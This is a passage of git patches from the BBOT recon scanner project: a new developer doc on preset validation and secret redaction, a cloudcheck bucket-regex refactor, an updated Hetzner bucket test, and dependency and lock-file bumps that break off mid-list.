a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -754,6 +754,11 @@ "target": 78, "type": "produces" }, + { + "source": 20, + "target": 78, + "type": "produces" + }, { "source": 79, "target": 7, diff --git a/docs/dev/preset_validation.md b/docs/dev/preset_validation.md new file mode 100644 index 0000000000..48b993dd07 --- /dev/null +++ b/docs/dev/preset_validation.md @@ -0,0 +1,146 @@ +# Validating, Sanitizing, and Inspecting Presets + +BBOT's preset and module configs are described by [pydantic](https://docs.pydantic.dev/) models — the same models that power `bbot -l` and `bbot --help`. The helpers below let you reuse those models from your own code to validate a preset, redact sensitive values, or dump module metadata. + +All of these helpers work on plain dicts (i.e. what you'd get from `yaml.safe_load`), so you can call them before instantiating a `Preset` or `Scanner`. + +## Validate a preset + +[`validate_preset`](https://github.com/blacklanternsecurity/bbot/blob/dev/bbot/scanner/preset/validate.py) catches typos and type errors in one pass — top-level preset keys, global config, unknown module names, and per-module options: + +```python +from bbot.scanner import validate_preset + +errors = validate_preset({ + "modules": ["nuclei"], + "config": { + "scope": {"strict": True}, + "modules": {"nuclei": {"ratelimit": 200}}, + }, +}) + +for err in errors: + print(err) +``` + +Empty list → valid. Each [`PresetValidationError`](https://github.com/blacklanternsecurity/bbot/blob/dev/bbot/scanner/preset/validate.py) carries a `where` (e.g. `"preset"`, `"config"`, `"module:nuclei"`), a dotted `path`, and a human-readable `message` with closest-match suggestions when applicable. To validate a YAML file directly, use `validate_preset_file(path)`. + +## Redact secrets from a config + +Each module's `class Config(BaseModuleConfig)` declares which fields are sensitive (`sensitive=True`) and/or required (`mandatory=True`). `BBOTCore.no_secrets_config()` walks the config dict alongside those schemas and removes only fields explicitly marked sensitive — no fuzzy name matching: + +```python +from bbot.core import CORE + +config = { + "interactsh_token": "leaky", + "web": {"http_cookies": {"session": "abc"}}, + "modules": { + "shodan_dns": {"api_key": "sh-secret"}, + "robots": {"include_sitemap": True}, + }, +} + +print(CORE.no_secrets_config(config)) +# {'web': {}, 'modules': {'shodan_dns': {}, 'robots': {'include_sitemap': True}}} + +print(CORE.secrets_only_config(config)) +# {'interactsh_token': 'leaky', 'web': {'http_cookies': {'session': 'abc'}}, ...} +``` + +The `Preset.to_dict()` method exposes the same behavior via a `redact_secrets=True` flag: + +```python +preset.to_dict(include_target=True, redact_secrets=True) +``` + +## Mark your own fields sensitive or mandatory + +When you write a module, import `Field` from `bbot.core.config.models` (not from `pydantic` directly) so the `sensitive` and `mandatory` keyword args are accepted: + +```python +from bbot.core.config.models import BaseModuleConfig, Field + + +class my_module(BaseModule): + class Config(BaseModuleConfig): + api_key: str = Field("", description="My API key", sensitive=True, mandatory=True) + verbose: bool = Field(False, description="Print extra detail") +``` + +- `sensitive=True` — value is redacted by `no_secrets_config()` / `Preset.to_dict(redact_secrets=True)` and lives in `~/.config/bbot/secrets.yml` rather than `bbot.yml`. +- `mandatory=True` — module needs this option to function. Drives the **Needs API Key** column in `bbot -l` and the runtime `BaseModule.auth_required` property. + +A field can carry both, just one, or neither. + +## Dump all module metadata + +`MODULE_LOADER.preloaded()` returns the full preload dict for every module — descriptions, flags, watched/produced events, deps, and (since the field-metadata refactor) the per-module `options_sensitive` and `options_mandatory` field-name sets: + +```python +from bbot.core.modules import MODULE_LOADER + +MODULE_LOADER.preload() +shodan = MODULE_LOADER.preloaded()["shodan_dns"] +print(shodan["options_mandatory"]) # ['api_key'] +print(shodan["options_sensitive"]) # ['api_key'] +``` + +For pretty-printed tables, use `MODULE_LOADER.modules_table()` (module summary) or `MODULE_LOADER.modules_options_table()` (per-option name/type/description/default) — these are what `bbot -l` and `bbot --help -m ` render. + +## Filter options by `sensitive` / `mandatory` + +To collect dotted-path keys (e.g. `modules.shodan_dns.api_key`) for every option carrying a particular flag, you have two options depending on scope. + +**Per-module only** — fast, no schema walk. The flag sets are pre-extracted on each preloaded module, so this is just a dict comprehension: + +```python +from bbot.core.modules import MODULE_LOADER + +MODULE_LOADER.preload() + +sensitive_paths = [ + f"modules.{name}.{opt}" + for name, p in MODULE_LOADER.preloaded().items() + for opt in p.get("options_sensitive") or [] +] + +mandatory_paths = [ + f"modules.{name}.{opt}" + for name, p in MODULE_LOADER.preloaded().items() + for opt in p.get("options_mandatory") or [] +] + +# Both flags at once (e.g. an api-key audit — fields a module needs *and* hides): +both = [ + f"modules.{name}.{opt}" + for name, p in MODULE_LOADER.preloaded().items() + for opt in set(p.get("options_sensitive") or []) & set(p.get("options_mandatory") or []) +] +``` + +**Per-module *and* global** — walk `MODULE_LOADER.config_schema`, which is the composite pydantic model with global keys (e.g. `interactsh_token`, `web.http_cookies`) and every module's `Config` grafted in under `modules.`: + +```python +import typing +from pydantic import BaseModel +from bbot.core.config.models import is_sensitive, is_mandatory + +def schema_paths(model, *, predicate, prefix=""): + """Yield dotted paths for every field where `predicate(FieldInfo)` is True.""" + for name, field in model.model_fields.items(): + path = f"{prefix}{name}" + ann = field.annotation + # unwrap Optional[X] + if typing.get_origin(ann) is typing.Union: + ann = next((a for a in typing.get_args(ann) if a is not type(None)), ann) + if isinstance(ann, type) and issubclass(ann, BaseModel): + yield from schema_paths(ann, predicate=predicate, prefix=f"{path}.") + elif predicate(field): + yield path + +all_sensitive = list(schema_paths(MODULE_LOADER.config_schema, predicate=is_sensitive)) +# ['web.http_cookies', 'interactsh_token', 'modules.shodan_dns.api_key', ...] +``` + +The same pattern works for any field-metadata key you stash via `Field(..., json_schema_extra={...})` — swap the `predicate` for your own check. diff --git a/mkdocs.yml b/mkdocs.yml index 498b0b4a6d..0e9eb0d057 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -43,6 +43,7 @@ nav: - Setting Up a Dev Environment: dev/dev_environment.md - BBOT Internal Architecture: dev/architecture.md - How to Write a BBOT Module: dev/module_howto.md + - Validating & Inspecting Presets: dev/preset_validation.md - Unit Tests: dev/tests.md - Discord Bot Example: dev/discord_bot.md - Code Reference: From e38370f17e74c17d0daec942f3b83c483dc10a96 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 5 May 2026 12:43:04 -0400 Subject: [PATCH 604/912] update cloudcheck, baddns --- bbot/modules/internal/cloudcheck.py | 31 +- .../test_module_bucket_hetzner.py | 41 +-- pyproject.toml | 4 +- uv.lock | 298 +++++++++++------- 4 files changed, 200 insertions(+), 174 deletions(-) diff --git a/bbot/modules/internal/cloudcheck.py b/bbot/modules/internal/cloudcheck.py index 4e6f1f73d7..461804ce18 100644 --- a/bbot/modules/internal/cloudcheck.py +++ b/bbot/modules/internal/cloudcheck.py @@ -73,24 +73,21 @@ async def handle_event(self, event, **kwargs): for regex_name, regex in regexes.items(): for host in hosts_to_check: if match := regex.match(host): - try: - bucket_name, bucket_domain = match.groups() - except Exception as e: - self.error( - f"Bucket regex {regex_name} ({regex}) is not formatted correctly to extract bucket name and domain: {e}" - ) + groups = match.groupdict() + bucket_name = groups.get("name") + if not bucket_name: + self.error(f"Bucket regex {regex_name} ({regex.pattern}) did not yield a 'name' group") continue - bucket_name, bucket_domain = match.groups() - bucket_url = f"https://{bucket_name}.{bucket_domain}" - await self.emit_event( - { - "name": bucket_name, - "url": bucket_url, - "context": f"{{module}} analyzed {event.type} and found {{event.type}}: {bucket_url}", - }, - "STORAGE_BUCKET", - parent=event, - ) + region = groups.get("region") + bucket_url = f"https://{host}" + bucket_data = { + "name": bucket_name, + "url": bucket_url, + "context": f"{{module}} analyzed {event.type} and found {{event.type}}: {bucket_url}", + } + if region: + bucket_data["region"] = region + await self.emit_event(bucket_data, "STORAGE_BUCKET", parent=event) async def cloud_hostname_regexes(self): async with self._cloud_hostname_regexes_lock: diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py b/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py index 60cae12384..11aec7b9d7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py @@ -1,37 +1,8 @@ -from .base import ModuleTestBase +from .test_module_bucket_amazon import * -class TestBucket_Hetzner(ModuleTestBase): - """ - Minimal smoke test for the bucket_hetzner module. - - The shared Bucket_Amazon_Base pattern depends on the cloudcheck provider regex - capturing a bucket name and host as separate groups. The Hetzner regex in - cloudcheck currently matches `.your-objectstorage.com` without a - region segment, so test fixtures that mirror real Hetzner Object Storage URLs - of the form `..your-objectstorage.com` confuse the parser. - Until the cloudcheck regex is updated to capture region, this test verifies the - module loads, exposes the expected build_url() shape, and is wired up with the - Hetzner cloudcheck provider. - """ - - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["bucket_hetzner"] - - async def setup_after_prep(self, module_test): - module_test.set_expect_requests( - expect_args={"method": "GET", "uri": "/"}, - respond_args={"response_data": ""}, - ) - - def check(self, module_test, events): - module = module_test.scan.modules["bucket_hetzner"] - assert module.cloudcheck_provider_name == "Hetzner" - assert module.base_domains == ["your-objectstorage.com"] - assert module.regions == ["fsn1", "nbg1", "hel1"] - # Live build_url uses Hetzner's documented host shape: - # https://..your-objectstorage.com/ - url = module.build_url("examplebucket", "your-objectstorage.com", "fsn1") - assert url == "https://examplebucket.fsn1.your-objectstorage.com/" - # cloudcheck Hetzner provider must be available - assert module.cloudcheck_provider is not None +class TestBucket_Hetzner(Bucket_Amazon_Base): + provider = "hetzner" + random_bucket_1 = f"{random_bucket_name_1}.fsn1.your-objectstorage.com" + random_bucket_2 = f"{random_bucket_name_2}.nbg1.your-objectstorage.com" + random_bucket_3 = f"{random_bucket_name_3}.fsn1.your-objectstorage.com" diff --git a/pyproject.toml b/pyproject.toml index 85ae0b9cb2..05528cc03f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", - "cloudcheck>=9.2.0,<10", + "cloudcheck>=10.0.0,<11", "blastdns>=1.9.0,<2", ] @@ -78,7 +78,7 @@ dev = [ "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", - "baddns~=2.1.0", + "baddns~=2.3.0", "ruff==0.15.12", ] docs = [ diff --git a/uv.lock b/uv.lock index b3704d0c43..aeda59973e 100644 --- a/uv.lock +++ b/uv.lock @@ -166,22 +166,22 @@ wheels = [ [[package]] name = "baddns" -version = "2.1.0" +version = "2.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "blastdns" }, + { name = "blasthttp" }, { name = "cloudcheck" }, { name = "colorama" }, { name = "dnspython" }, - { name = "httpx" }, { name = "python-dateutil" }, { name = "python-whois" }, { name = "pyyaml" }, { name = "tldextract" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/96/6a/d02ca8e8fa19d92a6e616324c7dda942d01c09f2729bb736114c7268720e/baddns-2.1.0.tar.gz", hash = "sha256:30058b22dffcf16f7f195e7b298b099cb817c264324cec06c47a264ac2b29309", size = 60334, upload-time = "2026-04-16T14:16:44.114Z" } +sdist = { url = "https://files.pythonhosted.org/packages/96/19/0b95c6ab143e247fb38b6636b848a565283d291fdeb4d958e68c3630e2a2/baddns-2.3.0.tar.gz", hash = "sha256:d2a37e0ad377341497b363c9bc36ab3cdbf0687af0c14d3d929fce887b18db76", size = 61446, upload-time = "2026-05-05T16:42:41.443Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/26/a7/36449f6d054de75a70db7ece0a66566990af95b74666ebd4121357c6f89f/baddns-2.1.0-py3-none-any.whl", hash = "sha256:1cf722f394e33eb26700c1ef717dcd01a451a241607cac3d62c95d355de5e514", size = 117925, upload-time = "2026-04-16T14:16:43.075Z" }, + { url = "https://files.pythonhosted.org/packages/76/d0/05784b81a79341e7b64907384833d36173d2693d1f50069106f77e1e1188/baddns-2.3.0-py3-none-any.whl", hash = "sha256:5fc9fa21cf40e8bef7197c747476246b23b0549f8bc8d2020f83792f85921d47", size = 119327, upload-time = "2026-05-05T16:42:40.308Z" }, ] [[package]] @@ -267,8 +267,8 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "cachetools", specifier = ">=5.3.2,<7.0.0" }, - { name = "cloudcheck", specifier = ">=9.2.0,<10" }, + { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, + { name = "cloudcheck", specifier = ">=10.0.0,<11" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, { name = "dnspython", specifier = ">=2.7.0,<2.9.0" }, { name = "httpx", specifier = ">=0.28.1,<1" }, @@ -301,11 +301,11 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ - { name = "baddns", specifier = "~=2.1.0" }, + { name = "baddns", specifier = "~=2.3.0" }, { name = "fastapi", specifier = ">=0.115.5,<0.137.0" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<9" }, - { name = "pytest-asyncio", specifier = "==1.2.0" }, + { name = "pytest-asyncio", specifier = "==1.3.0" }, { name = "pytest-benchmark", specifier = ">=4,<6" }, { name = "pytest-cov", specifier = ">=5,<8" }, { name = "pytest-env", specifier = ">=0.8.2,<1.7.0" }, @@ -313,7 +313,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.10" }, + { name = "ruff", specifier = "==0.15.12" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.40" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -446,6 +446,64 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/1e/01/480f3c5e54abf85b6accdc25635a10428720f9f2fa6b95c89d59e35f2912/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:64581573a438d95f51e297aa6790a85f49ed00fcb2afdf5a459b911dce970619", size = 2694305, upload-time = "2026-04-15T20:33:17.253Z" }, ] +[[package]] +name = "blasthttp" +version = "0.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/90/86/0dd004f90fa242271b18e4767714969b92bd8bbedeb0eaf17924f9638aea/blasthttp-0.4.0.tar.gz", hash = "sha256:9c2280e8fe6aea609e6bb5c3801f9933798bdd397b0f9e6438e4dd4dc2a38599", size = 111609, upload-time = "2026-05-01T16:11:37.758Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/f2/2c93f63eb949bed093b51841334a7f0e55b4f33c391abece72a9fd486d18/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:b4685f7b9958900d277fbef4779441b64d9041a80eede1cb75ece786030837ef", size = 4566226, upload-time = "2026-05-01T16:10:17.651Z" }, + { url = "https://files.pythonhosted.org/packages/c6/44/a47fad5edd6ac09f76c9ec08d9816dc67ea1fa74b92a8a6af6f3b39c533b/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:7e941013fc1b4a847e8ea5af28bfbe846c15c9062b54feef9e441afc9f5116c8", size = 3887426, upload-time = "2026-05-01T16:10:25.704Z" }, + { url = "https://files.pythonhosted.org/packages/60/0e/4160d21a3bcfc0889ef3414b239dc24fd92320feac6c25ae545fe8867bba/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:5ba87482dfed7c242c4707f85a4888d3799e443a55d821d426eb97e7429bded3", size = 4467981, upload-time = "2026-05-01T16:10:49.799Z" }, + { url = "https://files.pythonhosted.org/packages/b2/8f/9cc581d5407c4340239b097238e9f8a55c9bcbd2d0336419b10e14e09edf/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:67c3b8f470ab0a86c7060811e4e21433a81bb507ba9c9a21cc8abc3a7d651239", size = 4472838, upload-time = "2026-05-01T16:10:33.591Z" }, + { url = "https://files.pythonhosted.org/packages/44/12/1d7b61e76c684a31b081b086dc3558a0d7cd39050488ebf722d13d9cf15e/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:d2a59cde9750782c56c6220c8d5c1af741f052e070f6015dfe81f0cc1ab11c39", size = 4096366, upload-time = "2026-05-01T16:10:41.958Z" }, + { url = "https://files.pythonhosted.org/packages/e3/90/f411e41e55771f29dfec1a33b157f79bdce299bbe3f4865ac9d1b7bec7ae/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:fec615295b33d76895bf047f2109cc41d1b5775bc5db40bc5c73b7b98bebfcdf", size = 4230482, upload-time = "2026-05-01T16:10:57.34Z" }, + { url = "https://files.pythonhosted.org/packages/cb/e2/58c0d6975195f3ec9fc96313850457a8fc0feb7d5e90049f250bca3009ce/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f05bd49b19294d2ee74d6e3bf038b22363db9abe0df4d47d174d9100c569efbd", size = 4857209, upload-time = "2026-05-01T16:11:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/fe/35/560c6ef2a7616d1cb0d6caaf7296491d72fa1eb07f49e654dca346d11c4b/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:2ab3dd4fb4e02b2b4c5d85e31598d49ad3d44292a94ad6c4e76f8e5ab01e9420", size = 4191448, upload-time = "2026-05-01T16:11:13.509Z" }, + { url = "https://files.pythonhosted.org/packages/a4/2d/14741faa212e0541254790b2735bc269beed27e4d4ca51324e697c912bb1/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8df2a897e01a27c2caed3f7604e2dabb69a3e1c54834283c2f0cfbba48e4a6df", size = 4607221, upload-time = "2026-05-01T16:11:21.33Z" }, + { url = "https://files.pythonhosted.org/packages/30/3f/631cce54d4ce277e28ff7ed7e74703ea41f8d4ba872c72bd7f1376aa94ff/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6fea4489e0e590140d3890983e9197d6348b40b3e225a339d6af2b6a74a8ae7b", size = 4564472, upload-time = "2026-05-01T16:11:29.379Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/7cae1cc77a1eeefed8c2727b12e72935f66ec19ef5518c2c01eca25c76ca/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:693a1379940102187b53d96152c150b3771c9eb22d89de1f42cd0d2e21420153", size = 4563775, upload-time = "2026-05-01T16:10:19.162Z" }, + { url = "https://files.pythonhosted.org/packages/a9/01/a462eaab0771413ad448aef0ce28259a054bac1da8dd59a9a25f1e7a2e86/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:aab65d1d8e4e837a180f8a6db0d9d16d662319dca054fa694daa37080cebe22b", size = 3885817, upload-time = "2026-05-01T16:10:27.457Z" }, + { url = "https://files.pythonhosted.org/packages/4d/7b/9569080a6f46d2465f25e1e7fb2ce7db1b096b7a66d72ecf95da177a303c/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:acb396238e7704dc5bbf104be8b60f8bd0ecda9320051474eaefb8974168e7b6", size = 4465003, upload-time = "2026-05-01T16:10:51.55Z" }, + { url = "https://files.pythonhosted.org/packages/45/37/84a897080c47bc401c41f661a4c05879d85bd97d12c0799f553144385c19/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:c0199cea79e8bdf49ea9c70d06771ca60618382940aac0d9a22ef3f101517c0a", size = 4472062, upload-time = "2026-05-01T16:10:35.357Z" }, + { url = "https://files.pythonhosted.org/packages/da/e5/6ae9f82d7f317d3a406b0d47ca9255c724c473caa365cd30b63ac735456f/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:cb081c0b53761e6ca30742d706c039f1186c38f2804230403db4856dc83d4079", size = 4091245, upload-time = "2026-05-01T16:10:43.67Z" }, + { url = "https://files.pythonhosted.org/packages/e5/20/91c8720d7be6722f72d161b09ecc077a8be66c9a798fdd928013cb1a3bfa/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:6c91056098933aeb0380d43716379d431d06c1945ce0a567e7cf7c3f77b4784f", size = 4227936, upload-time = "2026-05-01T16:10:59.137Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e7/92a5f0ee00d85198a30566317535ff89855cdc0a97c77f857c95bb0b9fdc/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:99655b1ab1f580b451067d7613e28f45b9e333fd62fdeecb2790cc4a4c2b3c45", size = 4854465, upload-time = "2026-05-01T16:11:07.143Z" }, + { url = "https://files.pythonhosted.org/packages/03/a5/a26599dfcf7484b2f60df00aede182b5a7abe1296dfd1e36c196229d700a/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:a20e7656a7cfb3586325c5857dd542e8d33626a7b59919a0410018e0ea8963c9", size = 4187569, upload-time = "2026-05-01T16:11:15.031Z" }, + { url = "https://files.pythonhosted.org/packages/73/9d/a790bba458ac9ffe13581dbd5e1720ab611b1d97a412951db54c82299935/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ae8156905d1389fe86151b989694c6a04f31810b989de6fb1369407b3ca459de", size = 4602503, upload-time = "2026-05-01T16:11:23.022Z" }, + { url = "https://files.pythonhosted.org/packages/44/5f/4e55bc49eb56e9bfd2c89d2dd6dca954c217b79e25b9b701d90d5b3162a5/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:49f6a1fd2dc3fb04884af2c7a49724a86b8110d3ffcd2af8617f57e4cddbcf77", size = 4562715, upload-time = "2026-05-01T16:11:31.341Z" }, + { url = "https://files.pythonhosted.org/packages/54/54/d40f61c10a7115d9daa553879a0642124f24b716faf7dff2674301a42eed/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:702262236f06ec08517bf18560bf2f8f26e5fbdac4f96ae36f57c8a104c4c15b", size = 4561829, upload-time = "2026-05-01T16:10:20.729Z" }, + { url = "https://files.pythonhosted.org/packages/53/6b/6f349ed6d27f42fa8f4a9842a713d6e56b353c2284c00191f7c745eada0c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:a4b027c113ef6a6c4a454679a0194aadfffb124392982ccf1ef7eb5c33334f83", size = 3878225, upload-time = "2026-05-01T16:10:28.901Z" }, + { url = "https://files.pythonhosted.org/packages/40/47/1cf7005e655bb3513fb849f0f7475139ea2d9e9f4bd342561ecc6d078ab7/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:4e1470ca76bc46909e335b4ee8b4d4b72611f765672388d2c3c89df5d7b5a591", size = 4458508, upload-time = "2026-05-01T16:10:52.963Z" }, + { url = "https://files.pythonhosted.org/packages/16/b6/6d1d6abd8e28911513fdcd01bc8edbb03fec938b52b50c222fe19115fb77/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:18d4476e3778aa28350386e76f7227b571fa7d058f69227d22c99081a000de14", size = 4469432, upload-time = "2026-05-01T16:10:37.016Z" }, + { url = "https://files.pythonhosted.org/packages/9f/44/67fbdf7a040372bfcfd8a8a737d792d442602e2d0d7416f2a7938994109c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:0f6fe7287e3f5ecd51959b67484f17160ac71d744d60d274125e4d012a7ba748", size = 4090502, upload-time = "2026-05-01T16:10:44.969Z" }, + { url = "https://files.pythonhosted.org/packages/d4/f1/95ef78dbfad4626c70e26b0d3fd19352e0d634c4edd3d06a13edb77ee651/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6a052865813d60dca690fb9561f8d60c96d93ecfb8001434dc7efef1454c0b16", size = 4225151, upload-time = "2026-05-01T16:11:00.58Z" }, + { url = "https://files.pythonhosted.org/packages/f6/4d/2af0d419952c152f4505d74fbc90f01efdda21618e965d7f60f3cd510f4d/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:34d872d366f4e7c2db88245a06884c155f0ff4746d5b78ebd46910d3044c4443", size = 4851561, upload-time = "2026-05-01T16:11:08.918Z" }, + { url = "https://files.pythonhosted.org/packages/71/49/b64aac3e321016629d2fef12806be50791cfd22d2ddda2bd9a2467cbed40/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f852ee3b73d75cdb19fc5d8cc6c9982af43e0b59fae168339530bb47da0c29b8", size = 4179050, upload-time = "2026-05-01T16:11:16.692Z" }, + { url = "https://files.pythonhosted.org/packages/f2/99/c283434d5a114d14edae9766f03f8ba5361f26a0f5a0d33cf6a1dd4a1c4a/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2bf53b2f91310750161ffe7f97567cf634c3022a7200fc02be1f15b3ed7d606", size = 4598661, upload-time = "2026-05-01T16:11:24.356Z" }, + { url = "https://files.pythonhosted.org/packages/9f/7b/fefe45fd2d989fc72d15a60aa77f9d20b95f9f482cb5af3af84161ac5665/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b049ce40b9959cfd31cec481482147791a660eeed7aeef262e34d3ca843a499b", size = 4559800, upload-time = "2026-05-01T16:11:32.783Z" }, + { url = "https://files.pythonhosted.org/packages/33/01/86f0af776d4208c8a787adc465d7851bb9ea0e05f117e1f85f2abe31d9f6/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:30bdbe55fd1883d4f8973adaba2d29e476d9f895b50f298fa8d84bbff6f315ed", size = 4561981, upload-time = "2026-05-01T16:10:22.554Z" }, + { url = "https://files.pythonhosted.org/packages/33/0c/9c587cb9c8b507230c3f72a405c9880138577a464b42126cfa2df615090f/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:cddca738614895ac67ca1e858787296ad515760c145edcd74240950be0dd4b17", size = 3881449, upload-time = "2026-05-01T16:10:30.279Z" }, + { url = "https://files.pythonhosted.org/packages/78/c7/2bdc6052c51470a569ca499a52727003fad20445bc64763de3fd0408543d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:17f0574eafcf543606de71a21ca62f1a524a4123ee5c5c767f99448c8dd6084a", size = 4463029, upload-time = "2026-05-01T16:10:54.333Z" }, + { url = "https://files.pythonhosted.org/packages/b8/1b/de5c6070408b6ca9321e65107d22d28033d9425059f439318c1d23ee083d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:0e192488053fbc52f49a610d94f379806a0897f7f7b2d60857a3fbfb4c2a3403", size = 4470584, upload-time = "2026-05-01T16:10:38.609Z" }, + { url = "https://files.pythonhosted.org/packages/4e/0e/c8abd6ed3a5c2428fd41758b87082030c5c98a87aae4f8f18312169e6f2d/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:b48b1b12a56848c98a5aee78ba58c549962d022b404a712b95df95f0e43e03c7", size = 4090171, upload-time = "2026-05-01T16:10:46.715Z" }, + { url = "https://files.pythonhosted.org/packages/3e/a1/aedceff8653eaaa114111971a033c1be9cc44997272be74685021b3b7b60/blasthttp-0.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:b80d782724df6653249c5be61fce9b77a2fd9fde295e72bb8f7daf7077c9341f", size = 4225924, upload-time = "2026-05-01T16:11:02.687Z" }, + { url = "https://files.pythonhosted.org/packages/31/b4/2232a321fc048d0ac4b10a7daf344dafeb39942151b067bf4f6ff628ac5f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:96a92b74058475023ada7e02e5cca2c1b69e368582b644a8915f4132fcf310cc", size = 4851739, upload-time = "2026-05-01T16:11:10.408Z" }, + { url = "https://files.pythonhosted.org/packages/84/f2/a516049c47bbe7ca5d2ffa9dc24f467eef7ce385c8833c5f2ea38468db45/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:0bc5d99529aa80884aa610b9f465d06aef4e75131513f856917c38bddbd19c74", size = 4180110, upload-time = "2026-05-01T16:11:18.149Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e5/2b4d6cd9cafd64c97f154be6475552362f35e7c09f2c8fac781ffd1f5971/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cb09f3bfe11fc58a67c9d6c19f67249579599683c2e77219b3f3c694084010e5", size = 4597857, upload-time = "2026-05-01T16:11:25.878Z" }, + { url = "https://files.pythonhosted.org/packages/db/85/cc2dfb5412a29231ee8bfd177b4a817909e8f95414c394f51cd4882a849f/blasthttp-0.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:396a66dee3f52058da61ea8254f576ca70f3d4eb54d5b5a783455d8b7dbbbd23", size = 4559871, upload-time = "2026-05-01T16:11:34.221Z" }, + { url = "https://files.pythonhosted.org/packages/87/cd/1fb15d9eef665a29c2906a60b5ece728e078eefffa6eb8e793d164bbdc84/blasthttp-0.4.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:81a7d53b6ca4e5622bb156edbdc8c5f763992076d68503b2c18089532f2fab5a", size = 4562881, upload-time = "2026-05-01T16:10:24.098Z" }, + { url = 